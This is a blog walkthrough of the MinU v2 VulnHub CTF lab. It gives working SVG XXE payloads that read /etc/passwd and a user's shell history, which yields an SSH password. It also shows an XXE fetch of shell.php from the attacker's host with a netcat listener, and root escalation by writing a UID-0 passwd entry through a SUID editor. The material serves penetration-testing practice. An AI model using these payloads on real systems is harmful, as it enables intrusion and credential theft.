MinU v2 VulnHub Walkthrough: Full CTF Guide

In this walkthrough, we’ll dive into the MinU v2 VulnHub machine, a compact yet interesting virtual machine designed for penetration testing practice. This guide covers IP discovery, Nmap scanning, enumeration, exploitation, and privilege escalation, making it perfect for beginners and intermediate CTF enthusiasts.

IP Address Dicovery

After importing the MinU v2 VM into VirtualBox, the first step is to identify its IP address. Tools like netdiscover or arp-scan can be very useful:

$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                     

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:14      1      60  Unknown vendor                                  
 192.168.56.100  08:00:27:b4:5d:0d      1      60  PCS Systemtechnik GmbH                          
 192.168.56.253  08:00:27:76:98:a2      1      60  PCS Systemtechnik GmbH                          
 192.168.56.254  08:00:27:76:98:a2      1      60  PCS Systemtechnik GmbH  

Tip: The target machine sometimes has multiple IPs assigned by VirtualBox. Always verify which IP responds to ping or scanning.

NMAP Scanning

Next, run a full Nmap scan with service and script detection:

$ sudo nmap -sS -sC -sV -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 22:01 EDT
Nmap scan report for 192.168.56.254
Host is up (0.000068s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 82:33:25:61:27:97:ea:4a:49:f5:76:a3:33:1c:ae:2b (RSA)
|   256 ed:ca:f6:b9:b5:39:32:89:d0:a3:36:94:82:04:4a:e8 (ECDSA)
|_  256 26:79:15:2e:be:93:02:41:04:c9:ea:e8:05:16:d1:83 (ED25519)
3306/tcp open  mysql?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain
|     Transfer-Encoding: chunked
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     X-Powered-By: Kemal
|     Content-Type: text/html
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <style type="text/css">
|     body { text-align:center;font-family:helvetica,arial;font-size:22px;
|     color:#888;margin:20px}
|     max-width: 579px; width: 100%; }
|     {margin:0 auto;width:500px;text-align:left}
|     </style>
|     </head>
|     <body>
|     <h2>Kemal doesn't know this way.</h2>

Key findings:

| Port | Service | Notes                                                |
| ---- | ------- | ---------------------------------------------------- |
| 22   | SSH     | OpenSSH 8.0                                          |
| 3306 | HTTP    | Normally MySQL, but actually HTTP (powered by Kemal) |

Important: A simple SYN scan might return misleading results (3306 usually MySQL). Always use -sV and -sC for accurate service detection.

Enumeration

At this stage, the only service worth exploring is HTTP on port 3306. Start with manual inspection using a browser:

  • The page reveals a username: kemal.

  • An image is present but cannot be downloaded directly. Inspecting the source code, it is an SVG file, which is XML-based and can be leveraged in attacks like XXE injection.

Next, check robots.txt (returns home page) and run automated enumeration:

We may find two pieces of information on the page: kemal (possible username) and an image which can be downloaded to Kali. However, the image seems not downloadable, what is going on here? We may inspect it in the source code and find that the image is of svg format. Unlike other types of images, SVG defines vector-based graphics in XML format. SVG graphics are scalable, and do not lose any quality if they are zoomed or resized. We should keep this in our minds as we move on.

When attempts to access its robots.txt, we may get the same page as its home page.

Then we can start automatic enumeration with Nikto, but nothing could be found:

$ nikto -h http://192.168.56.254:3306
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.56.254
+ Target Hostname:    192.168.56.254
+ Target Port:        3306
+ Start Time:         2025-08-23 22:18:06 (GMT-4)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: Retrieved x-powered-by header: Kemal.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)

We may perform directory enumeration with Gobuster as follows:

─$ gobuster dir -u http://192.168.56.254:3306 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.254:3306
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/upload.html          (Status: 200) [Size: 908]

Exciting! We may find one file /upload.html.

It is so obviously what we shall do next. We try to upload web shell to the target machine through this /upload.html page. Web applicaitons always have some sort of filter in place, it will be better to use BurpSuite to play arount such filters.

Unfortunately we may get 500 error from the tarrget machine. Indeed there is one kind of control in place. Even we can not upload other type of images like .png, but svg.

So how to do? The XXE injection technique comes into play.The SVG upload page is vulnerable to XXE (XML External Entity) injection because SVG is XML-based.

Exploitation

The XML specification allows XML documents to define entities which reference resources external to the document and parsers typically support this feature by default. If an application parses XML input from untrusted sources and the parsing routine is not properly configured this can be exploited by an attacker with a so called XML external entity (XXE) injection. As a matter of fact, we can get malicous payload from the link:

https://insinuator.net/2015/03/xxe-injection-in-apache-batik-library-cve-2015-0250/

Step 1: Test Local File Access

Create a payload to read /etc/passwd:

We create payload locally on the Kali:

└─$ cat exploit.svg                                                            
<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>

This time we can upload exploit.svg through /upload.html, in the source code of returned page we find the content of /etc/passwd, which is great.

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500px" height="40px" version="1.1">root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
chrony:x:100:101:chrony:/var/log/chrony:/sbin/nologin
employee:x:1000:1000:Linux User,,,:/home/employee:/bin/ash
</svg>
Upload OK

We need to go further exploiting this vulnerability. First of all, we may create another payload to try to access the private key:

$ cat exploit2.svg           
<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///home/employee/.ssh/id_rsa" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>

Upload it as earlier, but we may get the error:

image.svg:1: parser error : Failure to process entity xxe .w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe; ^ image.svg:1: parser error : Entity 'xxe' not defined .w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe; ^ Upload OK

Following methodology, we may upload another payload to access /var/log/auth.log:

$ cat exploit3.svg  
<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///var/log/auth.log" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>

But we are not lucky. Then we may try to test remote file inclusion. In order to perform such test, we may set up web server locally with Python3:

└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
$ cat exploit4.svg            
<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "http://192.168.56.103:8000/shell.php" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.56.254 - - [23/Aug/2025 22:45:10] "GET /shell.php HTTP/1.0" 200 -

It seems shell.php has been uploaded to the target machine. Next we may access the uploaded web shell with browser, of course we should set up listener first on the Kali :

$ sudo nc -nlvp 5555
[sudo] password for kali: 
listening on [any] 5555 ...

But when we access shell.php, we are redirected to the home page. To be honest, we may feel very disappointed and lost at this point.

Step 2: Extract Sensitive Data

Try accessing the user's .ash_history (shell is ash):

Actually we need to be very careful. We need to gather more information by utilizing XXE injection, for example, try to access .bash_history. Here is a very important notices: the shell of the user employee is ash. So we need to construct XXE payload as follows:

$ cat exploit6.svg            
<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///home/employee/.ash_history" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>

As before we have to upload the exploit6.svg, by referencing external resource we can get the content of .ash_history:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [
<!ENTITY xxe SYSTEM "file:///home/employee/.ash_history">
]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500px" height="40px" version="1.1">useradd -D bossdonttrackme -p superultrapass3


exit
</svg>
Upload OK

We can find password from the commands history: superultrapass3.

Step 3: SSH Access

└─$ ssh employee@192.168.56.254                                    
The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
ED25519 key fingerprint is SHA256:PcukSWKP5zAi6vR63sVmkI9NqxLr2FgQn1DTILwTpww.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
employee@192.168.56.254's password: 
        _                   ____  
  /\/\ (_)_ __  /\ /\__   _|___ \ 
 /    \| | '_ \/ / \ \ \ / / __) |
/ /\/\ \ | | | \ \_/ /\ V / / __/ 
\/    \/_|_| |_|\___/  \_/ |_____|

minuv2:~$ ls -alh
total 14M    
drwxr-sr-x    4 employee employee    1.0K Aug 24 02:34 .
drwxr-xr-x    3 root     root        1.0K Jul 16  2019 ..
-rw-------    1 employee employee      61 Aug 24 02:54 .ash_history
drwxr-sr-x    3 root     employee    1.0K Jul 16  2019 .config
-rw-r--r--    1 employee employee     253 Aug 24 02:52 image.svg
-rwxr-xr-x    1 employee employee   14.3M Jul 16  2019 main-static
-rw-r--r--    1 employee employee     169 Jul 16  2019 main.pl
-rw-r--r--    1 employee employee     302 Aug 24 02:52 perl.out
drwxr-sr-x    2 employee employee    1.0K Jul 16  2019 public

Privilege Escalation

minuv2:~$ sudo -l
-ash: sudo: not found
minuv2:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/micro
/bin/bbsuid

We may find /usr/bin/micro has SUID bit, which is possiblly exploitable. We can use Google to help what micro is about. It turns out to be *a terminal-based text editor that aims to be easy to use and intuitive, while also taking advantage of the capabilities of modern terminals.

Therefore we can utilize micro to add new user with root's privilege:

In order to create new user, we have to generate its password on Kali :

$ sudo openssl passwd -1 -salt jason 123456
[sudo] password for kali: 
$1$jason$kqq2SnNAGHtj7Joa0Zlp61

So the following line could be formed:

jason:$1$jason$kqq2SnNAGHtj7Joa0Zlp61:0:0:root:/root:/bin/ash

We finally get the root's shell.

Key Takeaways

  1. SVG files can be dangerous if uploaded without validation – ideal for XXE exploitation.

  2. Port numbers may not always correspond to standard services.

  3. SUID binaries are common privilege escalation vectors.

  4. Always combine manual and automated enumeration.

  5. Properly analyze command history for credentials during CTFs.

Related Articles

HackTheBox Lame CTF Walkthrough

Read Article
Dhanush VulnHub CTF Walkthrough

Read Article
Symfonos 4 Vulnhub Walkthrough

Read Article

Comments

Leave a Comment

No comments yet. Be the first to comment!